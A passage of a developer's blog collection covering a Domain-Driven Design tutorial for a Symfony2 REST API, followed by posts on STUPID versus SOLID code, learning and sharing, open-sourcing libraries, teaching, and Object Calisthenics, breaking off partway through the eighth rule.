By the way, a Value Object is a simple object whose equality is not based on identity, instead two Value Objects are equal if all their fields are equal. Value Objects can be a Money or date range object. Their key property is that they follow value semantics rather than reference semantics. They don’t however have any value other than by virtue of their attributes. Also, Value Objects should be immutable. If you want to change a Value Object you should replace the object with a new one.

As you might noticed, the User identifier is represented by a UserId instance, not a scalar type because you don’t know which type to use. Will it be a numeric identifier or a GUID? You don’t know yet. Also, instead of passing IDs everywhere, having a class for them makes this very explicit. This UserId class is your very first Value Object:

<?php

namespace Acme\CoreDomain\User;

class UserId
{
    private $value;

    public function __construct($value)
    {
        $this->value = (string) $value;
    }

    public function getValue()
    {
        return $this->value;
    }
}

The domain expert said the application will manage users, so your application will deal with a collection of users. In DDD, a collection can be implemented by using the Repository design pattern.

A Repository mediates between the domain and data mapping using a collection-like interface for accessing domain objects. It is not a Data Access Layer though, as it deals with Entities and Value Objects. Note that there are various Repository implementation patterns but, in your case, here is how your UserRepository interface should look like:

<?php

namespace Acme\CoreDomain\User;

interface UserRepository
{
    public function find(UserId $userId);

    public function findAll();

    public function add(User $user);

    public function remove(User $user);
}

You should end up with the following folder structure:

src
└── Acme
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        └── AcmeCoreDomainBundle.php

Now that you have a decent Domain Layer with Entities, Value Objects, and Repositories, let’s wire it to your Symfony2 application. Note that your Domain Layer is reusable, and loosely coupled. That is really important!

The Infrastructure Layer

In a Code First approach, you can delay the decision to choose a persistence layer. The main advantage is to be able to write some other parts of the application without having to wait.

You can create a InMemoryUserRepository class that implements the UserRepository interface which contains hardcoded objects:

<?php

namespace Acme\CoreDomainBundle\Repository;

use Acme\CoreDomain\User\User;
use Acme\CoreDomain\User\UserId;
use Acme\CoreDomain\User\UserRepository;

class InMemoryUserRepository implements UserRepository
{
    private $users;

    public function __construct()
    {
        $this->users[] = new User(
            new UserId('8CE05088-ED1F-43E9-A415-3B3792655A9B'), 'John', 'Doe'
        );
        $this->users[] = new User(
            new UserId('62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23'), 'Jean', 'Bon'
        );
    }

    public function find(UserId $userId)
    {
    }

    public function findAll()
    {
        return $this->users;
    }

    public function add(User $user)
    {
    }

    public function remove(User $user)
    {
    }
}

Here is what you should get by running tree src/:

src
└── Acme
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        ├── Repository
        │   └── InMemoryUserRepository.php
        └── AcmeCoreDomainBundle.php

The InMemoryUserRepository class is part of what people call the Infrastructure Layer in DDD, and is located into the CoreDomainBundle bundle because it is specific to the application. The Infrastructure Layer contains technical services, persistence, and more generally, concrete implementations of the Domain Layer.

Register a new service named user_repository so that the Application Layer is able to access the UserRepository repository. The Application Layer can be seen as the Controller Layer in a Model-View-Controller architecture. The Application Layer is in charge of coordinating the actions to be performed on the domain, and delegates all domain actions to the domain itself. This layer is kept thin. It does not contain business rules or knowledge. It does not have state reflecting the business situation, but it can have state that reflects the progress of a task for the user or the program.

By the way, you will need to write an Extension class in order to load bundle’s service configuration but I won’t cover that part.

The user_repository service acts as an interface. It is an alias that points to a concrete implementation which is a non-public service:

<!-- src/Acme/CoreDomainBundle/Resources/config/repositories.xml -->
<?xml version="1.0" ?>
<container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd">

    <parameters>
        <parameter key="user_repository.in_memory.class">Acme\CoreDomainBundle\Repository\InMemoryUserRepository</parameter>
    </parameters>

    <services>
        <!-- Exposed Services -->
        <service id="user_repository" alias="user_repository.in_memory"></service>

        <!-- Concrete Implementations -->
        <service id="user_repository.in_memory" public="false" class="%user_repository.in_memory.class%"></service>
    </services>
</container>

Later when you will choose your persistence layer, you will just have to change the alias to another concrete implementation like user_repository.doctrine for instance, but you won’t have to change your Application Layer code.

The Application Layer

What you have to build is a REST API. The code will live in a bundle named ApiBundle:

src
└── Acme
    ├── ApiBundle
    │   ├── Controller
    │   │   └── UserController.php
    │   ├── Resources
    │   │   └── config
    │   │       └── routing.yml
    │   └── AcmeApiBundle.php
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        ├── DependencyInjection
        │   └── AcmeCoreDomainExtension.php
        ├── Repository
        │   └── InMemoryUserRepository.php
        └── AcmeCoreDomainBundle.php

You will need the following dependencies in your composer.json file:

"require": {
    ...

    "friendsofsymfony/rest-bundle": "0.13.*@dev",
    "jms/serializer-bundle": "0.12.*@dev"
}

Don’t forget to register the bundles in the AppKernel class.

For now, you will implement only one action to retrieve all users into your UserController class:

<?php

namespace Acme\ApiBundle\Controller;

use FOS\RestBundle\Controller\Annotations as Rest;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;

class UserController extends Controller
{
    /**
     * @Rest\View
     */
    public function allAction()
    {
        $users = $this->get('user_repository')->findAll();

        return array('users' => $users);
    }
}

There is no black magic here, things won’t work out of the box. Let’s take a look at the configuration. First, you need to add a new route to your routing definition:

# src/Acme/ApiBundle/Resources/config/routing.yml
acme_api.user_all:
  pattern: /users.{_format}
  defaults: { _controller: AcmeApiBundle:User:all, _format: ~ }
  requirements:
    _method: GET

You also need to configure both FOSRestBundle and SensioFrameworkExtraBundle:

# app/config/config.yml
fos_rest:
  view:
    view_response_listener: force
  format_listener:
    default_priorities: ["json", "html", "*/*"]
    fallback_format: json
    prefer_extension: true

sensio_framework_extra:
  view: { annotations: false }

At this time, you should be able to access http://yourproject.local/users, but it should throw an exception saying the Twig template named AcmeApiBundle:User:all.html.twig does not exist. However, if you browse http://yourproject.local/users.json, you should get JSON content containing your users.

Thing is, it is not well serialized. That is because you didn’t configure JMSSerializerBundle yet. First of all, you need to tell the Serializer where to find configuration files:

# app/config/config.yml
jms_serializer:
  metadata:
    directories:
      CoreDomain:
        namespace_prefix: "Acme\\CoreDomain"
        path: "@AcmeApiBundle/Resources/config/serializer/"

The ApiBundle owns the serializer configuration, it is one of its responsibilities. As you can see, I use a YAML configuration file, not annotations, because I don’t want to pollute the agnostic Domain Layer.

Here is the configuration file for the User entity:

# src/Acme/ApiBundle/Resources/config/serializer/User.User.yml
Acme\CoreDomain\User\User:
  exclusion_policy: ALL
  properties:
    id:
      expose: true
      inline: true
    firstName:
      expose: true
      serialized_name: first_name
    lastName:
      expose: true
      serialized_name: last_name

And here is the configuration file for the UserId value object:

# src/Acme/ApiBundle/Resources/config/serializer/User.UserId.yml
Acme\CoreDomain\User\UserId:
  exclusion_policy: ALL
  properties:
    value:
      expose: true
      serialized_name: id

That should give you the following JSON content:

{
  "users": [
    {
      "id": "8CE05088-ED1F-43E9-A415-3B3792655A9B",
      "first_name": "John",
      "last_name": "Doe"
    },
    {
      "id": "62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23",
      "first_name": "Jean",
      "last_name": "Bon"
    }
  ]
}

Running tree src/ on the command line should give you the following output:

src
└── Acme
    ├── ApiBundle
    │   ├── Controller
    │   │   └── UserController.php
    │   ├── Resources
    │   │   ├── config
    │   │   │   ├── routing.yml
    │   │   │   └── serializer
    │   │   │       ├── User.User.yml
    │   │   │       └── User.UserId.yml
    │   │   └── views
    │   │       └── User
    │   │           └── all.html.twig
    │   └── AcmeApiBundle.php
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        ├── DependencyInjection
        │   └── AcmeCoreDomainExtension.php
        ├── Repository
        │   └── InMemoryUserRepository.php
        ├── Resources
        │   └── config
        │       └── repositories.xml
        └── AcmeCoreDomainBundle.php

Conclusion

Adopting the right folder structure in your code is important. You should always decouple your code as much as possible. By remembering that a bundle integrates a third-party library or just a set of agnostic classes, you end up with a clean separation between Symfony2 related things, and your business logic.

Bundles that integrate your Domain Layer packages are part of the Infrastructure Layer. Your controllers are part of the Application Layer. The missing layer is the Presentation Layer (UI) which talk to the Application Layer. This layer is responsible for displaying information to the user, and accept new data, but I will cover it in another article.

Source: http://guptavikas.wordpress.com/2009/12/01/domain-driven-design-an-introduction/

By using the Code First approach, you have been able to write a first action that just works. You won’t have to change it. However, you will be able to rely on a database or whatever you want later on. It will be up to you.

In the next blog post, I will ~~introduce the **Presentation Layer**, new Value Objects such as the `Name` one, and more on **DDD**!~~ cover a few points that have been misunderstood.

From STUPID to SOLID Code!

2013-07-30T00:00:00+00:00

Last week I gave a talk about Object-Oriented Programming at Michelin, the company I am working for. I talked about writing better code, from STUPID to SOLID code! STUPID as well as SOLID are two acronyms, and have been covered quite a lot for a long time. However, these mnemonics are not always well-known, so it is worth spreading the word.

In the following, I will introduce both STUPID and SOLID principles. Keep in mind that these are principles, not laws. However, considering them as laws would be good for those who want to improve themselves.

STUPID code, seriously?

This may hurt your feelings, but you have probably written STUPID code already. I have too. But, what does that mean?

Singleton
Tight Coupling
Untestability
Premature Optimization
Indescriptive Naming
Duplication

In the following, I will explain the individual points with more details. This is more or less the transcript of my talk.

Singleton

The Singleton pattern is probably the most well-known design pattern, but also the most misunderstood one. Are you aware of the Singleton syndrome? It is when you think the Singleton pattern is the most appropriate pattern for the current use case you have. In other words, you use it everywhere. That is definitely not cool.

Singletons are controversial, and they are often considered anti-patterns. You should avoid them. Actually, the use of a singleton is not the problem, but the symptom of a problem. Here are two reasons why:

Programs using global state are very difficult to test;
Programs that rely on global state hide their dependencies.

But should you really avoid them all the time? I would say yes because you can often replace the use of a singleton by something better. Avoiding static things is important to avoid something called tight coupling.

Tight Coupling

Tight coupling, also known as strong coupling, is a generalization of the Singleton issue. Basically, you should reduce coupling between your modules. Coupling is the degree to which each program module relies on each one of the other modules.

If making a change in one module in your application requires you to change another module, then coupling exists. For instance, you instantiate objects in your constructor’s class instead of passing instances as arguments. That is bad because it doesn’t allow further changes such as replacing the instance by an instance of a sub-class, a mock or whatever.

Tightly coupled modules are difficult to reuse, and also hard to test.

Untestability

In my opinion, testing should not be hard! No, really. Whenever you don’t write unit tests because you don’t have time, the real issue is that your code is bad, but that is another story.

Most of the time, untestability is caused by tight coupling.

Premature Optimization

Donald Knuth said: “premature optimization is the root of all evil. There is only cost, and no benefit”. Actually, optimized systems are much more complex than just rewriting a loop or using pre-increment instead of post-increment. You will just end up with unreadable code. That is why Premature Optimization is often considered an anti-pattern.

A friend of mine often says that there are two rules to optimize an application:

don’t do it;
(for experts only!) don’t do it yet.

Indescriptive Naming

This should be obvious, but still needs to be said: name your classes, methods, attributes, and variables properly. Oh, and don’t abbreviate! You write code for people, not for computers. They don’t understand what you write anyway. Computers just understand 0 and 1. Programming languages are for humans.

Duplication

Duplicated code is bad, so please Don’t Repeat Yourself (DRY), and also Keep It Simple, Stupid. Be lazy the right way - write code only once!

Now that I have explained what STUPID code is, you may think that your code is STUPID. It does not matter (yet). Don’t feel bad, keep calm and be awesome by writing SOLID code instead!

SOLID to the rescue!

SOLID is a term describing a collection of design principles for good code that was invented by Robert C. Martin, also known as Uncle Bob.

SOLID means:

Single Responsibility Principle
Open/Closed Principle
Liskov Substitution Principle
Interface Segregation Principle
Dependency Inversion Principle

Single Responsibility Principle

Single Responsibility Principle or SRP states that every class should have a single responsibility. There should never be more than one reason for a class to change.

Just because you can add everything you want into your class doesn’t mean that you should. Thinking in terms of responsibilities will help you design your application better. Ask yourself whether the logic you are introducing should live in this class or not. Using layers in your application helps a lot. Split big classes in smaller ones, and avoid god classes. Last but not least, write straightforward comments. If you start writing comments such as in this case, but if, except when, or, then you are doing it wrong.

Open/Closed Principle

Open/Closed Principle or OCP states that software entities should be open for extension, but closed for modification.

You should make all member variables private by default. Write getters and setters only when you need them. I’ve already covered this point in a previous article, as the ninth rule of the Object Calisthenics is related to this principle.

Liskov Substitution Principle

Liskov Substitution Principle or LSP states that objects in a program should be replaceable with instances of their subtypes without altering the correctness of the program.

Let’s take an example. A rectangle is a plane figure with four right angles. It has a width, and a height. Now, take a look at the following pseudo-code:

rect = new Rectangle();

rect.width  = 10;
rect.height = 20;

assert 10 == rect.width
assert 20 == rect.height

We simply set a width and a height on a Rectangle instance, and then we assert that both properties are correct. So far, so good.

Now we can improve our definition by saying that a rectangle with four sides of equal length is called a square. A square is a rectangle so we can create a Square class that extends the Rectangle one, and replace the first line above by the one below:

rect = new Square();

According to the definition of a square, its width is equal to its height. Can you spot the problem? The first assertion will fail because we had to change the behavior of the setters in the Square class to fit the definition. This is a violation of the Liskov Substitution Principle.

Interface Segregation Principle

Interface Segregation Principle or ISP states that many client-specific interfaces are better than one general-purpose interface. In other words, you should not have to implement methods that you don’t use. Enforcing ISP gives you low coupling, and high cohesion.

When talking about coupling, cohesion is often mentioned as well. High cohesion means to keep similar and related things together. The union of cohesion and coupling is orthogonal design. The idea is to keep your components focused and try to minimize the dependencies between them.

Note that this is similar to the Single Responsibility Principle. An interface is a contract that meets a need. It is ok to have a class that implements different interfaces, but be careful, don’t violate SRP.

Dependency Inversion Principle

Dependency Inversion Principle or DIP has two key points:

Abstractions should not depend upon details;
Details should depend upon abstractions.

This principle could be rephrased as use the same level of abstraction at a given level. Interfaces should depend on other interfaces. Don’t add concrete classes to method signatures of an interface. However, use interfaces in your class methods.

Note that Dependency Inversion Principle is not the same as Dependency Injection. Dependency Injection is about how one object knows about another dependent object. In other words, it is about how one object acquires a dependency. On the other hand, DIP is about the level of abstraction. Also, a Dependency Injection Container is a way to auto-wire classes together. That does not mean you do Dependency Injection though. Look at the Service Locator for example.

Also, rather than working with classes that are tight coupled, use interfaces. This is called programming to the interface. This reduces dependency on implementation specifics and makes code more reusable. It also ensures that you can replace the implementation without violating the expectations of that interface, according to the Liskov Substitution Principle seen before.

Conclusion

As you probably noticed, avoiding tight coupling is the key. It is present in a lot of code, and if you start by focusing on fixing this alone, you will immediately start writing better code.

If I may leave you with only one piece of advice, that would be to use your brain. There are a lot of principles in software engineering. Even if you don’t understand all these principles, always think before writing code. Take the time to understand those that you don’t understand.

Honestly, writing SOLID code is not that hard.

Slides

TL;DR

STUPID is an acronym that describes bad practices in Oriented Object Programming:

Singleton
Tight Coupling
Untestability
Premature Optimization
Indescriptive Naming
Duplication

SOLID is an acronym that stands for five basic principles of Object-Oriented Programming and design to fix STUPID code:

Single Responsibility Principle
Open/Closed Principle
Liskov Substitution Principle
Interface Segregation Principle
Dependency Inversion Principle

Rule of thumb: use your brain!

I am a sponge

2013-07-19T00:00:00+00:00

According to my PhD advisor, I am a sponge. What does that mean, though? This is the purpose of today’s article.

I am going to introduce a sort of Sponge Theory. This is obviously not about SpongeBob. This informal theory is actually focused on two core principles: learning and sharing, and the order matters.

Learning

One of the main goals of a sponge (the material) is to sponge an impervious surface in order to clean it. A sponge is especially good at absorbing water and water-based solutions. In other words, a sponge is able to store a large amount of liquid into it.

Obviously, as a human, being a sponge means that you are able to absorb a lot of information. You are interested in various topics (and not only technical ones). You read a lot, everything, all the time. You dig into topics that sound cool to you. You enjoy learning new things and you try to keep you up to date, even on things that you don’t use to do.

Also, an interesting point about sponges as animals is that they filter the water they absorb. That is how they feed themselves. It is similar to you when you sort all the information you get. You certainly don’t agree with everything you read. Being able to distinguish useful information is tricky though, and it depends on various parameters such as the context in which you are living, tastes, aspirations, etc. But I am digressing…

Behaving like a sponge is not only about swallowing and filtering information.

As I said, a sponge is not only about holding water-based solutions. You can squeeze sponges in order to get the absorbed water (please, don’t do that with animals!). That is the second characteristic of a sponge, it is able to return what it contains.

You love sharing things you learned, either by talking to your friends, writing, teaching, tweeting, etc. For instance, I read a lot of RSS feeds and weekly mailing lists and I tend to tweet about things that I consider relevant. I also teach at the University from time to time.

For me personally, it is not too different than the Open Source world. When I start to use an Open Source project, I learn about its internals and very often I contribute back (in various ways).

Conclusion

Being a sponge is all about learning and reading a lot, i.e. being interested in plenty of topics, and then being able to share relevant information.

Is it bad? No. I believe that I am lucky, and you should too. Being curious is important, being able to communicate clearly is even more important! No matter how technically “strong” you are, if you are not able to explain what you are doing or if you can’t discuss with your teammates, you are certainly not a “good fit” for most teams.

Be curious, learn new things, then talk to your teammates. You will become more valuable over time. People will also naturally come to you to seek advice or simply share their new shiny things with you.

On Open Sourcing Libraries

2013-07-04T00:00:00+00:00

Open sourcing a library is easy, it is just a matter of seconds. All you need is a public repository hosted somewhere (GitHub, Bitbucket, etc.) right? Nope! Actually, it would be better for everyone if you would add some love to your new shiny library you just made publicly available. Let’s see how to do that.

README

The README file is a first-class citizen in your project. You MUST have it! This file MUST contain the name, and a (short) description of your library. See this description section as an elevator pitch.

Then comes the Usage section. Describe how to use your library, with both words and code snippets. Add screenshots or GIFs. Be as exhaustive as you can. This is your project’s documentation, and most of the time for libraries, this will be the only documentation you will provide.

Writing the Usage part first is not a random choice. Your README file should blow your reader’s mind, so that they will use your library and contribute back (or not).

The third section you MUST include is the Installation one. This section explains how to quickly install your library, from a user point of view. If you have more than one way to install your project, describe the one you consider the best first, and then explain the alternatives.

You can add an optional Requirements section like Depends on X version Y.

The fourth required section is Contributing. This can be replaced by the use of a CONTRIBUTING file though. Explain how to hack your library, how to report bugs or how to submit feature requests. It is important to be exhaustive here. Explain the rules to avoid commenting every single line in Pull Requests you receive. Point contributors to the right tools such as linters or compilers. For instance, here is my standard CONTRIBUTING file for PHP projects.

You MUST add a Testing section too. Explain how to set up the test suite, how to run the functional tests, and the tools that people may have to install.

Optionally, add a Credits section if you use third-party things or if you want to list your contributors (that could be an Authors section though).

You MUST add a Contributor Code of Conduct because the lack of diversity in Open Source is not acceptable, and this is an easy way to begin addressing this problem. Unacceptable behaviors have to be banned and unfortunately, we have to make this statement really explicit, for instance by adding a CODE_OF_CONDUCT.md file.

Last but not the least, add a License section!

Here is a template:

project-x
=========

project-x is a better way to achieve this and that, by leveraging the new API,
blablabla.

## Usage

...

## Installation

...

## Requirements

...

## Contributing

See CONTRIBUTING file.

## Running the Tests

...

## Credits

...

## Contributor Code of Conduct

Please note that this project is released with a [Contributor Code of
Conduct](http://contributor-covenant.org/). By participating in this project
you agree to abide by its terms. See CODE_OF_CONDUCT file.

## License

project-x is released under the MIT License. See the bundled LICENSE file for
details.

As you can see, I introduced two files in this template: LICENSE, and CONTRIBUTING. I already covered the CONTRIBUTING file while describing the Contributing section. The LICENSE file contains the license you will choose for your project, but which license?

License

I won’t compare all licenses, browse tl;drLegal instead. It provides useful information related to Open Source licenses, with simple words.

I tend to use the MIT license as it is very liberal. My advice here is to look at your community, and choose the most appropriate one. For example, in the Symfony2 (a PHP Framework) community, most of the related projects (bundles) are released under the MIT license. However, Java projects are often released under the Apache License 2.0.

According to recent reports, most GitHub projects don’t have an Open Source license. That is bad! You MUST have a license, even if it is the Beerware license.

As mentioned on Hacker News, choose your license carefully. Also, don’t make up your own or just state that it’s public domain. Public domain is actually not a well-defined concept internationally, and means different things in different countries.

Even if you now have a well-documented library and a license, you can’t dominate the world yet. In the following, I give an overview of what I consider important in Open Source projects.

Write Tests & Automate

Open Source projects are a way to write beautiful code as there are no deadlines, and no “customers”. Keep in mind that your projects show what you are able to do. As a developer, your library is your business card.

Write tests, a lot! How do you expect people to contribute to your library if you don’t provide a test suite? So, write tests, and use Travis CI. It is all about adding a .travis.yml file describing how to run your tests. It is another way to document how to run the tests.

Add a status image to your README file too.

Take a look at online tools such as Scrutinizer for PHP and JavaScript, or Puppet Linter. Automate as much as you can.

Be Standard

It is important to use the right tools for your library. Look at your community again, and choose the tools people tend to use. In PHP, we use Composer as dependency manager. Don’t waste your time with PEAR or anything else, use Composer. If you write a Node.js library, register it on npm. For Ruby developers, distribute your library as a gem. For C# developers, use NuGet.

Another example, in Symfony2 it is considered good practice to add documentation in Resources/doc. It is a convention. Don’t duplicate your documentation. Add a link to quickly jump to this folder on your README file instead.

Managing Issues & Releases

GitHub, CodePlex, or whatever you want, they all provide an issue tracker. Use it!

If you use GitHub, don’t waste your time with the Wiki. I never found a decent workflow. Either use the README file for your documentation, or use Read The Docs to host it in case you have extensive documentation. Use GitHub Issues to manage milestones, and rely on labels to sort your issues.

Also, try to reply to all issues, as soon as possible… But be careful, and manage your time. Be nice with everyone, and take time to help newcomers. It is worth learning how to maintain a successful open source project.

Another advice would be to release often by tagging versions periodically. Talking about versions, please follow the Semantic Versioning Specification.

Then, maintain a CHANGELOG file to help your users identify changes. If you break backward compatibility, write an UPGRADE file in order to explain how to upgrade.

You Need Feedback!

The main reason why I open source a lot of projects is that I can learn a lot thanks to user feedback. So you need feedback, I need feedback, everyone needs feedback! Share your project on Twitter, Hacker News, and so on. Spread the word! People must know about your project, not because it is awesome, but because people can comment on it.

Use GitHub pages to create a website for your library, buy a domain if you want.

Remember the world domination plan? That is pretty much all you need to achieve this goal. We never know!

Hire People

Once you dominate the world, it is important to enroll new people to help you. That is a terrific experience! And it will give you more time for your other Open Source projects (also known as your new world domination plans) :-)

Conclusion

Open sourcing a library is not just about publishing the source code. You need to add a few things to make it usable, and enjoyable. Documenting your projects shows that you are able to teach, and that you are able to find the right words to explain something. Also, it shows that you care about what you do.

Don’t forget to add tests in your library, if you don’t do that at work, do it at home. And don’t forget the license too, no excuse!

It is really cool to open source projects, but avoid the NIH syndrome. Contribute as much as you can, open source things that don’t exist.

TL;DR

Your library/project:

MUST have a README file including a name, a description, and the following sections: Usage, Installation, Contributing, Testing and License;
MUST add a Contributor Code of Conduct;
MUST have a license that is visible;
MUST be tested;
MUST be standard or MUST fit your community habits;

You:

NEED feedback;
MUST be nice;
SHOULD enroll people.

Teaching is the best way to learn

2013-06-07T00:00:00+00:00

Earlier this year, I gave lectures to undergraduate students at IUT de Clermont-Fd (France) for the first time. I taught web development (using PHP) (slides & sources), and security, mainly focused on Web/APIs security (slides & sources).

I introduced not only general concepts and best practices in web development but also tools such as Git, Vim, Vagrant, Puppet, and GitHub. Each student worked with a Virtual Machine so that they could do whatever they wanted to. Except a few issues, it was really interesting because pushing updates to all students at once was rather easy for me. The workflow was pretty straightforward. All students had to do was running git pull && vagrant up.

Students wrote their own micro-framework in PHP, relying on components such as the Symfony ones and managed with Composer. They wrote unit tests as well as functional tests. Some students even published their own code on GitHub. Most of them did a great job by building a web application combined to a “true” REST API with content negotiation.

As for the security lectures, I tried to give an overview of well-known security topics, including authorization, authentication, some authentication mechanisms, and how to secure the web.

Overall, teaching was a really great experience! I learned quite a few tips on how to be better at teaching. I am used to talk to people at conferences so my vocabulary was a bit too technical. This was the first thing I had to change while explaining something to my students. They never did web development before. Introducing high-level concepts using simple words is not straightforward but it is a really good exercise for those who want to improve their communication skills. Also, as I needed to be able to answer various questions, I had to know my topics “by heart”, including how things worked under the hood. To be perfectly honest, I studied for hours to be better while performing in front of the students.

I got positive feedback from students and that felt great given that it was my first year as a teacher. I enjoyed teaching things that took me years to learn.

Object Calisthenics

2013-06-03T00:00:00+00:00

Last month, I gave a talk about Object Calisthenics at Clermont’ech’s APIHour #2, a local developer group based in Clermont-Ferrand (France).

I discovered Object Calisthenics almost two years ago, but I wasn’t open-minded enough to give them a try. A year ago, Guilherme Blanco and I were drinking beers in Paris. He told me that Rafael Dohms and him ported the concept of Object Calisthenics to PHP. That was awesome, and I decided to learn, understand, and try these rules. I am now convinced that these rules are really helpful, and that trying to respect these rules help you write better Oriented Object code.

Cal • is • then • ics - /ˌkaləsˈTHeniks/

Object Calisthenics are programming exercises, formalized as a set of 9 rules invented by Jeff Bay in his book The ThoughtWorks Anthology. The word Object is related to Object Oriented Programming. The word Calisthenics is derived from greek, and means exercises under the context of gymnastics. By trying to follow these rules as much as possible, you will naturally change how you write code. It doesn’t mean you have to follow all these rules, all the time. Find your balance with these rules, use some of them only if you feel comfortable with them.

These rules focus on maintainability, readability, testability, and comprehensibility of your code. If you already write code that is maintainable, readable, testable, and comprehensible, then these rules will help you write code that is more maintainable, more readable, more testable, and more comprehensible.

In the following, I will review each of these 9 rules listed below:

Only One Level Of Indentation Per Method
Don’t Use The ELSE Keyword
Wrap All Primitives And Strings
First Class Collections
One Dot Per Line
Don’t Abbreviate
Keep All Entities Small
No Classes With More Than Two Instance Variables
No Getters/Setters/Properties

1. Only One Level Of Indentation Per Method

Having too many levels of indentation in your code is often bad for readability, and maintainability. Most of the time, you can’t easily understand the code without compiling it in your head, especially if you have various conditions at different level, or a loop in another loop, as shown in this example:

class Board {
    public String board() {
        StringBuilder buf = new StringBuilder();

        // 0
        for (int i = 0; i < 10; i++) {
            // 1
            for (int j = 0; j < 10; j++) {
                // 2
                buf.append(data[i][j]);
            }
            buf.append("\n");
        }

        return buf.toString();
    }
}

In order to follow this rule, you have to split your methods up. Martin Fowler, in his book Refactoring, introduces the Extract Method pattern, which is exactly what you have to do/use.

You won’t reduce the number of lines of code, but you will increase readability in a significant way:

class Board {
    public String board() {
        StringBuilder buf = new StringBuilder();

        collectRows(buf);

        return buf.toString();
    }

    private void collectRows(StringBuilder buf) {
        for (int i = 0; i < 10; i++) {
            collectRow(buf, i);
        }
    }

    private void collectRow(StringBuilder buf, int row) {
        for (int i = 0; i < 10; i++) {
            buf.append(data[row][i]);
        }

        buf.append("\n");
    }
}

2. Don’t Use The ELSE Keyword

The else keyword is well-known as the if/else construct is built into nearly all programming languages. Do you remember the last time you saw a nested conditional? Did you enjoy reading it? I don’t think so, and that is exactly why it should be avoided. As it is so easy to add a new branch to the existing code than refactoring it to a better solution, you often end up with a really bad code.

public void login(String username, String password) {
    if (userRepository.isValid(username, password)) {
        redirect("homepage");
    } else {
        addFlash("error", "Bad credentials");

        redirect("login");
    }
}

An easy way to remove the else keyword is to rely on the early return solution.

public void login(String username, String password) {
    if (userRepository.isValid(username, password)) {
        return redirect("homepage");
    }

    addFlash("error", "Bad credentials");

    return redirect("login");
}

The condition can be either optimistic, meaning you have conditions for your error cases and the rest of your method follows the default scenario, or you can adopt a defensive approach (somehow related to Defensive Programming), meaning you put the default scenario into a condition, and if it is not satisfied, then you return an error status. This is better as it prevents potential issues you didn’t think about.

As an alternative, you can introduce a variable in order to make your return statement parametrizable. This is not always possible though.

public void login(String username, String password) {
    String redirectRoute = "homepage";

    if (!userRepository.isValid(username, password)) {
        addFlash("error", "Bad credentials");
        redirectRoute = "login";
    }

    redirect(redirectRoute);
}

Also, it is worth mentioning that Object Oriented Programming gives us powerful features, such as polymorphism. Last but not least, the Null Object, State and Strategy patterns may help you as well!

For instance, instead of using if/else to determine an action based on a status (e.g. RUNNING, WAITING, etc.), prefer the State pattern as it is used to encapsulate varying behavior for the same routine based on an object’s state object:

Source: http://sourcemaking.com/design_patterns/state

3. Wrap All Primitives And Strings

Following this rule is pretty easy, you simply have to encapsulate all the primitives within objects, in order to avoid the Primitive Obsession anti-pattern.

If the variable of your primitive type has a behavior, you MUST encapsulate it. And this is especially true for Domain Driven Design. DDD describes Value Objects like Money, or Hour for instance.

4. First Class Collections

Any class that contains a collection should contain no other member variables. If you have a set of elements and want to manipulate them, create a class that is dedicated for this set.

Each collection gets wrapped in its own class, so now behaviors related to the collection have a home (e.g. filter methods, applying a rule to each element).

5. One Dot Per Line

This dot is the one you use to call methods in Java, or C# for instance. It would be an arrow in PHP, but who uses PHP anyway? :D

Basically, the rule says that you should not chain method calls. However, it doesn’t apply to Fluent Interfaces and more generally to anything implementing the Method Chaining Pattern (e.g. a Query Builder).

For other classes, you should respect this rule. It is the direct use of the Law of Demeter, saying only talk to your immediate friends, and don’t talk to strangers.

Look at these classes:

class Location {
    public Piece current;
}

class Piece {
    public String representation;
}

class Board {
    public String boardRepresentation() {
        StringBuilder buf = new StringBuilder();

        for (Location loc : squares()) {
            buf.append(loc.current.representation.substring(0, 1));
        }

        return buf.toString();
    }
}

It is ok-ish to have public attributes in Piece and Location. Actually, having a public property or a private one with getter/setter is the same thing (see Rule 9).

However, the boardRepresentation() method is awful, take a look at this line:

buf.append(loc.current.representation.substring(0, 1));

It accesses a Location, then its current Piece, then the Piece’s representation on which it performs an action. This is far from One Dot Per Line.

Fortunately, the Law of Demeter tells you to talk to your friends, so let’s do that:

class Location {
    private Piece current;

    public void addTo(StringBuilder buf) {
        current.addTo(buf);
    }
}

Making the instance of Piece private ensures that you won’t try to do something bad. However, as you need to perform an action on this attribute, you need a new method addTo(). It is not Location’s responsibility to determine how the Piece will be added, so let’s ask it:

class Piece {
    private String representation;

    public String character() {
        return representation.substring(0, 1);
    }

    public void addTo(StringBuilder buf) {
        buf.append(character());
    }
}

Then again, you should change the visibility of your attribute. As a reminder, the Open/Closed Principle says that software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.

Also, extracting the code to get the first character of the representation in a new method looks like a good idea as it may be reused at some point. Finally, here is the updated Board class:

class Board {
    public String boardRepresentation() {
        StringBuilder buf = new StringBuilder();

        for (Location location : squares()) {
            location.addTo(buf);
        }

        return buf.toString();
    }
}

Much better, right?

6. Don’t Abbreviate

The right question is Why Do You Want To Abbreviate?

You may answer that it is because you write the same name over and over again? And I would answer that this method is reused multiple times, and that it looks like code duplication.

So you will say that the method name is too long anyway. And I would tell you that maybe your class has multiple responsibilities, which is bad as it violates the Single Responsibility Principle.

I often say that if you can’t find a decent name for a class or a method, something is probably wrong. It is a rule I use to follow while designing a software by naming things.

Don’t abbreviate, period.

7. Keep All Entities Small

No class over 50 lines and no package over 10 files. Well, it depends on you, but I think you could change the number of lines from 50 to 150.

The idea behind this rule is that long files are harder to read, harder to understand, and harder to maintain.

8. No Classes With More Than Two Instance Variables

I thought people would yell at me while introducing this rule, but it didn’t happen. This rule is probably the hardest one, but it promotes high cohesion, and better encapsulation.

